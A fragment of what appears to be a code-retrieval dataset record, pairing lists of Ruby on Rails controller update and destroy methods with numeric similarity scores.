"def update\n @emt = Emt.find(params[:id])\n\n respond_to do |format|\n if @emt.update_attributes(params[:emt])\n format.html { redirect_to(incident_timesheet_path, :notice => 'EMT was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @emt.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @microposst = Microposst.find(params[:id])\n\n respond_to do |format|\n if @microposst.update_attributes(params[:microposst])\n format.html { redirect_to @microposst, notice: 'Microposst was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @microposst.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_vehicle_manufacturer\n @vehicle_manufacturer = VehicleManufacturer.find(params[:id])\n end",
"def update_object_xml(object_type, id, xml)\n @client.update_business_object_by_public_id({\n :busObNameOrId => object_type,\n :busObPublicId => id,\n :updateXml => xml\n })\n return last_error\n end",
"def update\n respond_to do |format|\n if @maker.update(maker_params)\n format.html { redirect_to @maker, notice: 'Maker was successfully updated.' }\n format.json { render :show, status: :ok, location: @maker }\n else\n format.html { render :edit }\n format.json { render json: @maker.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @master_spec = Master::Spec.find(params[:id])\n\n respond_to do |format|\n if @master_spec.update_attributes(params[:master_spec])\n format.html { redirect_to(@master_spec, :notice => 'Spec was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @master_spec.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @man = Man.find(params[:id])\n\n respond_to do |format|\n if @man.update_attributes(params[:man])\n format.html { redirect_to(@man, :notice => 'Man was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @man.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @rpm = Rpm.find(params[:id])\n @rpm.save\n respond_to do |format|\n if @rpm.update_attributes(params[:rpm])\n format.html { redirect_to imprimir_rpm_path(@rpm) }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @rpm.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @machine_mileage = MachineMileage.find(params[:id])\n\n respond_to do |format|\n if @machine_mileage.update_attributes(params[:machine_mileage])\n format.html { redirect_to(@machine_mileage, :notice => 'Machine mileage was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @machine_mileage.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @mall = Mall.find(params[:id])\n\n respond_to do |format|\n if @mall.update_attributes(params[:mall])\n format.html { redirect_to(@mall, :notice => 'Mall was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @mall.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @ministry = Ministry.find(params[:id])\n\n respond_to do |format|\n if @ministry.update_attributes(params[:ministry])\n flash[:notice] = 'Ministry was successfully updated.'\n format.html { redirect_to(@ministry) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @ministry.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @manifestation = Manifestation.find(params[:id])\n\n respond_to do |format|\n if @manifestation.update_attributes(params[:manifestation])\n format.html { redirect_to @manifestation, notice: 'Manifestation was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @manifestation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @manifestation = Manifestation.find(params[:id])\n\n respond_to do |format|\n if @manifestation.update_attributes(params[:manifestation])\n format.html { redirect_to @manifestation, notice: 'Manifestation was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @manifestation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @supplier = Supplier.find(params[:id])\n\n respond_to do |format|\n if @supplier.update_attributes(params[:supplier])\n format.html { \n redirect_to(medicines_url)\n }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @supplier.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def set_manufacturer\n @manufacturer = DisManufacturer.find(params[:id])\n end",
"def update\n @mt_distribution_transport_data = MtDistributionTransportData.find(params[:id])\n\n respond_to do |format|\n if @mt_distribution_transport_data.update_attributes(params[:mt_distribution_transport_data])\n format.html { redirect_to(@mt_distribution_transport_data) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @mt_distribution_transport_data.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @expectation_stem = RiGse::ExpectationStem.find(params[:id])\n\n respond_to do |format|\n if @expectation_stem.update_attributes(params[:expectation_stem])\n flash[:notice] = 'RiGse::ExpectationStem.was successfully updated.'\n format.html { redirect_to(@expectation_stem) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @expectation_stem.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @missionmaker = Missionmaker.find(params[:id])\n\n respond_to do |format|\n if @missionmaker.update_attributes(params[:missionmaker])\n format.html { redirect_to @missionmaker, notice: 'Missionmaker was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @missionmaker.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @volume_metadatum = VolumeMetadatum.find(params[:id])\n\n respond_to do |format|\n if @volume_metadatum.update_attributes(params[:volume_metadatum])\n format.html { redirect_to @volume_metadatum, notice: 'Volume metadatum was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @volume_metadatum.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n connection.put(element_path, to_xml)\n end",
"def update\n @moto_drive_type = MotoDriveType.find(params[:id])\n\n respond_to do |format|\n if @moto_drive_type.update_attributes(params[:moto_drive_type])\n format.html { redirect_to(@moto_drive_type, :notice => 'Moto drive type was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @moto_drive_type.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @entry = Entry.find(params[:id])\n\t\n\t@entry.system_list = \"\"\n\t@systems = params[:systems]\n\t@systems.each do |s|\n\t\t@entry.system_list.add(s)\n\tend\t\n\t\n\t@entry.comp_list = \"\"\n\t@components = params[:components]\n\t@components.each do |c|\n\t\t@entry.comp_list.add(c)\n\tend\n\t\n respond_to do |format|\n if @entry.update_attributes(params[:entry])\n format.html { redirect_to(@entry, :notice => 'Entry was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @entry.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @marmita = Marmita.find(params[:id])\n\n respond_to do |format|\n if @marmita.update_attributes(params[:marmita])\n format.html { redirect_to(@marmita, :notice => 'Marmita was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @marmita.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def set_device_manufacturer\n @device_manufacturer = DeviceManufacturer.find(params[:id])\n end",
"def update\n @manifestation.assign_attributes(manifestation_params)\n\n respond_to do |format|\n if @manifestation.save\n set_creators\n\n format.html { redirect_to @manifestation, notice: t('controller.successfully_updated', model: t('activerecord.models.manifestation')) }\n format.json { head :no_content }\n else\n prepare_options\n format.html { render action: \"edit\" }\n format.json { render json: @manifestation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @moto_model = MotoModel.find(params[:id])\n\n respond_to do |format|\n if @moto_model.update_attributes(params[:moto_model])\n format.html { redirect_to(@moto_model, :notice => 'Moto model was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @moto_model.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @mosttinymobsetup = Mosttinymobsetup.find(params[:id])\n\n respond_to do |format|\n if @mosttinymobsetup.update_attributes(params[:mosttinymobsetup])\n format.html { redirect_to @mosttinymobsetup, notice: 'Mosttinymobsetup was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @mosttinymobsetup.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(params)\n res = @client.put(path, nil, params, \"Content-Type\" => \"application/json\")\n @attributes = res.json if res.status == 201\n res\n end",
"def update\n @atom = Atom.find(params[:id])\n\n respond_to do |format|\n if @atom.update_attributes(params[:atom])\n flash[:notice] = 'Atom was successfully updated.'\n format.html { redirect_to(@atom) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @atom.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @promos = Promos.find(params[:id])\n\n respond_to do |format|\n if @promos.update_attributes(params[:promos])\n flash[:notice] = 'Promos was successfully updated.'\n format.html { redirect_to(@promos) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @promos.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @reserve_stat_has_manifestation.update_attributes(params[:reserve_stat_has_manifestation])\n flash[:notice] = t('controller.successfully_updated', :model => t('activerecord.models.reserve_stat_has_manifestation'))\n format.html { redirect_to(@reserve_stat_has_manifestation) }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @reserve_stat_has_manifestation.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n url = 'https://casa-core.herokuapp.com/api/units/' + params[:id]\n query = {\n 'name' => params[:name]\n }\n response = HTTParty.put(url, :query => query, :headers => { \"Authorization\" => AUTH, \"Host\" => HOST})\n\n if response.code == 200\n redirect_to unit_path(params[:id]), notice: 'Unit was successfully updated.'\n else\n redirect_to unit_path(params[:id]), notice: 'Sheesh! Minor hiccup...run that again!'\n end\n end",
"def update\n @ambit = Ambit.find(params[:id])\n\n respond_to do |format|\n if @ambit.update_attributes(params[:ambit])\n format.html { redirect_to(@ambit, :notice => 'Ambit was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @ambit.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @admin_system_setup.update(admin_system_setup_params)\n format.html { redirect_to admin_index_path, notice: 'System setup er opdateret.' }\n format.json { render :show, status: :ok, location: @admin_system_setup }\n else\n format.html { render :edit }\n format.json { render json: @admin_system_setup.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @manufacturer_synonym = ManufacturerSynonym.find(params[:id])\n\n respond_to do |format|\n if @manufacturer_synonym.update_attributes(params[:manufacturer_synonym])\n format.html { redirect_to(manufacturer_manufacturer_synonym_path(@manufacturer_synonym.manufacturer_id, @manufacturer_synonym,{:page => params[:page], :letter => params[:letter]}), :notice => 'Manufacturer synonym was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @manufacturer_synonym.errors, :status => :unprocessable_entity }\n end\n end\n end"
] |
[
"0.6089919",
"0.5983263",
"0.59295326",
"0.5895975",
"0.5779716",
"0.5732381",
"0.5709892",
"0.57053393",
"0.56797874",
"0.5637898",
"0.5631896",
"0.56283045",
"0.56087583",
"0.55946165",
"0.55797243",
"0.5531921",
"0.55140656",
"0.543775",
"0.54250216",
"0.5411286",
"0.5398969",
"0.5372536",
"0.537189",
"0.5366776",
"0.5366776",
"0.535821",
"0.5356795",
"0.53567475",
"0.53474927",
"0.5325596",
"0.5305933",
"0.5304042",
"0.53018975",
"0.5278738",
"0.5271198",
"0.52603775",
"0.52460486",
"0.5231261",
"0.52296376",
"0.5221246",
"0.52193046",
"0.5218827",
"0.52144253",
"0.52090824",
"0.5207648",
"0.5206291",
"0.5201243",
"0.5195664",
"0.51917714",
"0.51894784",
"0.51887625",
"0.5181953",
"0.51701576",
"0.5164425",
"0.5159142",
"0.51589596",
"0.51575667",
"0.5147775",
"0.5146761",
"0.5142205",
"0.5138594",
"0.51336265",
"0.5130502",
"0.51284736",
"0.51244557",
"0.51177526",
"0.5114462",
"0.51103365",
"0.5107213",
"0.51058537",
"0.5104547",
"0.51025605",
"0.510127",
"0.50905055",
"0.5087209",
"0.50858295",
"0.5076746",
"0.5076746",
"0.5075451",
"0.50742",
"0.5056819",
"0.50567055",
"0.5053422",
"0.5053027",
"0.5049111",
"0.50418407",
"0.5039171",
"0.5039154",
"0.5037879",
"0.5035768",
"0.50354195",
"0.50328773",
"0.5031145",
"0.5029269",
"0.5026811",
"0.50236124",
"0.50235254",
"0.5022601",
"0.5022574",
"0.5021532"
] |
0.54821163
|
17
|
DELETE /mt_manufacturings/1 DELETE /mt_manufacturings/1.xml
|
def destroy
@mt_manufacturing = MtManufacturing.find(params[:id])
@mt_manufacturing.destroy
respond_to do |format|
format.html { redirect_to(mt_manufacturings_url) }
format.xml { head :ok }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def destroy\n RestClient.delete \"#{REST_API_URI}/contents/#{id}.xml\" \n self\n end",
"def destroy\n @manufacturer_line = ManufacturerLine.find(params[:id])\n @manufacturer_line.destroy\n\n respond_to do |format|\n format.html { redirect_to(manufacturer_lines_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n client = Connection::MarkLogic.new.client\n client.send_corona_request(\"/v1/documents?uri=/amandments/amandment_#{@amandment.id}.xml\", :delete)\n @amandment.destroy\n respond_to do |format|\n format.html { redirect_to home_meeting_path, notice: 'Amandman was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def netdev_resxml_delete( xml )\n top = netdev_resxml_top( xml )\n par = top.instance_variable_get(:@parent)\n par['delete'] = 'delete'\n end",
"def destroy\n @operating_system = OperatingSystem.find(params[:id])\n @operating_system.destroy\n\n respond_to do |format|\n format.html { redirect_to(operating_systems_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\r\n @uom = Uom.find(params[:id])\r\n @uom.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_back_or_default(uoms_url) }\r\n format.xml { head :ok }\r\n end\r\n end",
"def destroy\n @manufacturer_partner.destroy\n respond_to do |format|\n format.html { redirect_to(admin_manufacturer_partners_url) }\n format.xml { head :ok }\n end\n website.add_log(user: current_user, action: \"Deleted a manufacturer partner: #{@manufacturer_partner.name}\")\n end",
"def destroy\n @genbank_file.destroy\n\n respond_to do |format|\n format.xml { head :ok }\n format.json { head :ok }\n end\n end",
"def destroy\n @appliance_manufacturer = ApplianceManufacturer.find(params[:id])\n @appliance_manufacturer.destroy\n\n respond_to do |format|\n format.html { redirect_to appliance_manufacturers_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @gemm = Gemm.find(params[:id])\n @gemm.destroy\n\n respond_to do |format|\n format.html { redirect_to(gemms_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n chef_server_rest.delete(\"nodes/#{name}\")\n end",
"def destroy\n @config_xml = ConfigXml.find(params[:id])\n @config_xml.destroy\n\n respond_to do |format|\n format.html { redirect_to(config_xmls_url) }\n format.xml { head :ok }\n end\n rescue ActiveRecord::RecordNotFound => e\n prevent_access(e)\n end",
"def destroy_rest\n @item_usage = ItemUsage.find(params[:id])\n @item_usage.destroy\n\n respond_to do |format|\n format.html { redirect_to(item_usages_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @opml_metadata = OpmlMetadata.find(params[:id])\n @opml_metadata.destroy\n\n respond_to do |format|\n format.html { redirect_to(opml_metadatas_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @mall = Mall.find(params[:id])\n @mall.destroy\n\n respond_to do |format|\n format.html { redirect_to(malls_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @manufacture_order = ManufactureOrder.find(params[:id])\n @manufacture_order.destroy\n\n respond_to do |format|\n format.html { redirect_to manufacture_orders_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @drum_machine = DrumMachine.find(params[:id])\n @drum_machine.destroy\n\n respond_to do |format|\n format.html { redirect_to(drum_machines_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @materium = Materium.find(params[:id])\n @materium.destroy\n\n respond_to do |format|\n format.html { redirect_to(materia_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @mt_distribution = MtDistribution.find(params[:id])\n @mt_distribution.destroy\n\n respond_to do |format|\n format.html { redirect_to(mt_distributions_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @simthing = Simthing.find(params[:id])\n @simthing.destroy\n\n respond_to do |format|\n format.html { redirect_to(simthings_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @manufacturer = Manufacturer.find(params[:id])\n @manufacturer.destroy\n redirect_to manufacturers_url\n\n respond_to do |format|\n format.html { redirect_to manufacturers_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tm_dev1 = TmDev1.find(params[:id])\n @tm_dev1.destroy\n\n respond_to do |format|\n format.html { redirect_to(tm_dev1s_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @promos = Promos.find(params[:id])\n @promos.destroy\n\n respond_to do |format|\n format.html { redirect_to(promos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @magazine = Magazine.find(params[:magazine_id])\n @eversion = Eversion.find(:first, :conditions => {:magazine_id => params[:magazine_id]})\n\n @eversion.destroy\n\n respond_to do |format|\n format.html { redirect_to([:admin, @magazine]) }\n format.xml { head :ok }\n end\n end",
"def delete()\n response = send_post_request(@xml_api_delete_path)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end",
"def destroy\n @erratum = Erratum.find(params[:id])\n @erratum.destroy\n\n respond_to do |format|\n format.html { redirect_to(errata_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @unidadmedidaingrediente = Unidadmedidaingrediente.find(params[:id])\n @unidadmedidaingrediente.destroy\n\n respond_to do |format|\n format.html { redirect_to(unidadmedidaingredientes_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @medicamento = Medicamento.find(params[:id])\n @medicamento.destroy\n\n respond_to do |format|\n format.html { redirect_to(medicamentos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @caracteristica.destroy\n\n respond_to do |format|\n format.html { redirect_to material_url(@caracteristica.material) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @sale_representative = SaleRepresentative.find(params[:id])\n @sale_representative.destroy\n\n respond_to do |format|\n format.html { redirect_to(sale_representatives_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @ambit = Ambit.find(params[:id])\n @ambit.destroy\n\n respond_to do |format|\n format.html { redirect_to(ambits_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @ministerios = Ministerios.find(params[:id])\n @ministerios.destroy\n\n respond_to do |format|\n format.html { redirect_to(ministerios_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @aggregate_metadatum = AggregateMetadatum.find(params[:id])\n @aggregate_metadatum.destroy\n\n respond_to do |format|\n format.html { redirect_to aggregate_metadata_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @device_attribute.destroy\n\n respond_to do |format|\n format.html { redirect_to(device_attributes_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @treatment = Treatment.find(params[:id])\n @treatment.destroy\n\n respond_to do |format|\n format.html { redirect_to(treatments_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @expectation_stem = RiGse::ExpectationStem.find(params[:id])\n @expectation_stem.destroy\n\n respond_to do |format|\n format.html { redirect_to(expectation_stems_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @designationmaster = Designationmaster.find(params[:id])\n @designationmaster.destroy\n\n respond_to do |format|\n format.html { redirect_to(designationmasters_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @smartphone = Smartphone.find(params[:id])\n @smartphone.destroy\n\n respond_to do |format|\n format.html { redirect_to(smartphones_url) }\n format.xml { head :ok }\n end\n end",
"def destroy_rest\n @entry_instrument = EntryInstrument.find(params[:id])\n @entry_instrument.destroy\n\n respond_to do |format|\n format.html { redirect_to(entry_instruments_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @virtualmachines = Virtualmachine.find(params[:id])\n @virtualmachines.destroy\n\n respond_to do |format|\n format.html { redirect_to(virtualmachines_url) }\n format.xml { head :ok }\n end\n end",
"def destroy_rest\n @entry_item = EntryItem.find(params[:id])\n @entry_item.destroy\n\n respond_to do |format|\n #format.html { redirect_to(entry_items_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @installation = Installation.find(params[:installation_id]) \n @eat = Eat.find(params[:id])\n @eat.destroy\n\n respond_to do |format|\n format.html { redirect_to :back }\n format.xml { head :ok }\n end\n end",
"def destroy\n @machine_mileage = MachineMileage.find(params[:id])\n @machine_mileage.destroy\n\n respond_to do |format|\n format.html { redirect_to(machine_mileages_url) }\n format.xml { head :ok }\n end\n end",
"def service_group_delete(a10, name)\n a10.send(:axapi, 'slb.service_group.delete', 'post', {name: name, format: 'json'})\nend",
"def destroy\n @omatsuri = Omatsuri.find(params[:id])\n @omatsuri.destroy\n\n respond_to do |format|\n format.html { redirect_to(omatsuris_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @moto_model = MotoModel.find(params[:id])\n @moto_model.destroy\n\n respond_to do |format|\n format.html { redirect_to(moto_models_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @bom = Bom.find(params[:id])\n @bom.destroy\n\n respond_to do |format|\n format.html { redirect_to(boms_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @manufacturer.destroy\n respond_to do |format|\n format.html { redirect_to manufacturers_url, notice: 'Combination dose was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @attribute_group = AttributeGroup.find(params[:id])\n @attribute_group.destroy\n\n respond_to do |format|\n format.html { redirect_to(attribute_groups_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @almacen = Almacen.find(params[:id])\n @almacen.destroy\n \n respond_to do |format|\n format.html { redirect_to(almacenes_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @ambito = Ambito.find(params[:id])\n @ambito.destroy\n\n respond_to do |format|\n format.html { redirect_to(ambitos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @tax_computation = TaxComputation.find(params[:id])\n @tax_computation.destroy\n\n respond_to do |format|\n format.html { redirect_to(tax_computations_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @massmail = Massmail.find(params[:id])\n @massmail.destroy\n\n respond_to do |format|\n format.html { redirect_to(massmails_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @bedmaster = Bedmaster.find(params[:id])\n @bedmaster.destroy\n\n respond_to do |format|\n format.html { redirect_to(bedmasters_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @seat_manufacturer.destroy\n\n respond_to do |format|\n format.html { redirect_to seat_manufacturers_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @xml_sample = XmlSample.find(params[:id])\n @xml_sample.destroy\n\n respond_to do |format|\n format.html { redirect_to xml_samples_url }\n format.xml do\n xml = {msg: \"complete\", status: \"OK\"}.to_xml\n return render xml: xml\n end\n end\n end",
"def delete()\n response = send_post_request(@xml_api_delete_path)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end",
"def destroy\n @article = Article.find_by_sysname(params[:id])\n @article.destroy\n\n respond_to do |format|\n format.html { redirect_to(articles_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @mortgage = Mortgage.find(params[:id])\n @mortgage.destroy\n\n respond_to do |format|\n format.html { redirect_to(mortgages_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @physical_unit = Probe::PhysicalUnit.find(params[:id])\n @physical_unit.destroy\n\n respond_to do |format|\n format.html { redirect_to(physical_units_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @machine = Machine.find(params[:id])\n @machine.destroy\n\n respond_to do |format|\n format.html { redirect_to(machines_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @machine = Machine.find(params[:id])\n @machine.destroy\n \n respond_to do |format|\n format.html { redirect_to machines_path }\n format.xml { head :ok }\n format.atom { head :ok }\n end\n end",
"def destroy\n @settlement = @transaction.settlements.find(params[:id])\n @settlement.destroy\n\n respond_to do |format|\n format.html { redirect_to(client_transaction_settlements_url(@client, @transaction)) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @appoiment = Appoiment.find(params[:id])\n @appoiment.destroy\n\n respond_to do |format|\n format.html { redirect_to(appoiments_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @prd_etc = PrdEtc.find(params[:id])\n @prd_etc.destroy\n\n respond_to do |format|\n format.html { redirect_to(prd_etcs_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @node_config = NodeConfig.destroy(params[:id])\n xml=@node_config.to_xml\n json=@node_config.to_json\n @node_config.destroy\n\n respond_to do |format|\n format.html { redirect_to(node_configs_url) }\n format.json { render :json => json}\n format.xml { render :xml => xml}\n end\n end",
"def destroy\n @unidadmedida = Unidadmedida.find(params[:id])\n @unidadmedida.destroy\n\n respond_to do |format|\n format.html { redirect_to(unidadmedidas_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @device_manufacturer.destroy\n\n respond_with(@device_manufacturer, location: device_manufacturers_url)\n end",
"def destroy\n # workaround\n @manifestation.identifiers.destroy_all\n @manifestation.creators.destroy_all\n @manifestation.contributors.destroy_all\n @manifestation.publishers.destroy_all\n @manifestation.bookmarks.destroy_all if defined?(EnjuBookmark)\n @manifestation.reload\n @manifestation.destroy\n\n respond_to do |format|\n format.html { redirect_to manifestations_url, notice: t('controller.successfully_deleted', model: t('activerecord.models.manifestation')) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @make_section = MakeSection.find(params[:id])\n @make_section.destroy\n\n respond_to do |format|\n format.html { redirect_to(make_sections_url) }\n format.xml { head :ok }\n end\n \n end",
"def destroy\n @flat = Flat.find(params[:id])\n @flat.destroy\n\n respond_to do |format|\n format.html { redirect_to flats_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @flat = Flat.find(params[:id])\n @flat.destroy\n\n respond_to do |format|\n format.html { redirect_to flats_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n onesecgroup('delete', resource[:name])\n @property_hash.clear\n end",
"def destroy\n #@manifestation = Manifestation.find(params[:id])\n @manifestation.destroy\n flash[:notice] = t('controller.successfully_deleted', :model => t('activerecord.models.manifestation'))\n\n respond_to do |format|\n format.html { redirect_to manifestations_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @refferalmaster = Refferalmaster.find(params[:id])\n @refferalmaster.destroy\n\n respond_to do |format|\n format.html { redirect_to(refferalmasters_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @machine_price = MachinePrice.find(params[:id])\n @machine_price.destroy\n\n respond_to do |format|\n format.html { redirect_to(machine_prices_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @installation = Installation.find(params[:installation_id]) \n @onpost = Onpost.find(params[:id])\n @onpost.destroy\n\n respond_to do |format|\n format.html { redirect_to :back }\n format.xml { head :ok }\n end\n end",
"def destroy\n @capture_device_maker = CaptureDeviceMaker.find(params[:id])\n @capture_device_maker.destroy\n respond_to do |format|\n format.html { redirect_to(capture_device_makers_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @machine_information = MachineInformation.find(params[:id])\n @machine_information.destroy\n\n respond_to do |format|\n format.html { redirect_to(machine_informations_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @especial = Especial.find(params[:id])\n @especial.destroy\n\n respond_to do |format|\n format.html { redirect_to(especiales_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @data_set.destroy\n\n respond_to do |format|\n format.html { redirect_to(data_sets_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @measurement = Measurement.find(params[:id])\n @measurement.destroy\n\n respond_to do |format|\n format.html { redirect_to(measurements_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @storage_unit = StorageUnit.find(params[:id])\n @storage_unit.destroy\n\n respond_to do |format|\n format.html { redirect_to(storage_units_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @goods_type = GoodsType.find(params[:id])\n @goods_type.destroy\n\n respond_to do |format|\n format.html { redirect_to(goods_types_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @manual = Manual.find(params[:id])\n @manual.destroy\n\n respond_to do |format|\n format.html { redirect_to(manuals_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @caracteristicamodem.destroy\n respond_to do |format|\n format.html { redirect_to caracteristicamodems_url, notice: 'Caracteristicamodem was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @flat = Flat.find(params[:id])\n @flat.destroy\n\n respond_to do |format|\n format.html { redirect_to flats_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @flat.destroy\n\n respond_to do |format|\n format.html { redirect_to flats_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @matricula = Matricula.find(params[:id])\n @matricula.destroy\n\n respond_to do |format|\n format.html { redirect_to(matriculas_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @material.destroy\n\n respond_to do |format|\n format.html { redirect_to(requerimiento_url(@material.requerimiento), :notice => \"Se elimino el material \\\"#{@material.nombre}\\\"\") }\n format.xml { head :ok }\n end\n end",
"def delete(vmname)\n uri = @uri + \"/#{vmname}?api-version=#{api_version}\"\n uri\n end",
"def destroy_rest\n @instrument_version = InstrumentVersion.find(params[:id])\n @instrument_version.destroy\n\n respond_to do |format|\n format.html { redirect_to(instrument_versions_url) }\n format.xml { head :ok }\n end\n end",
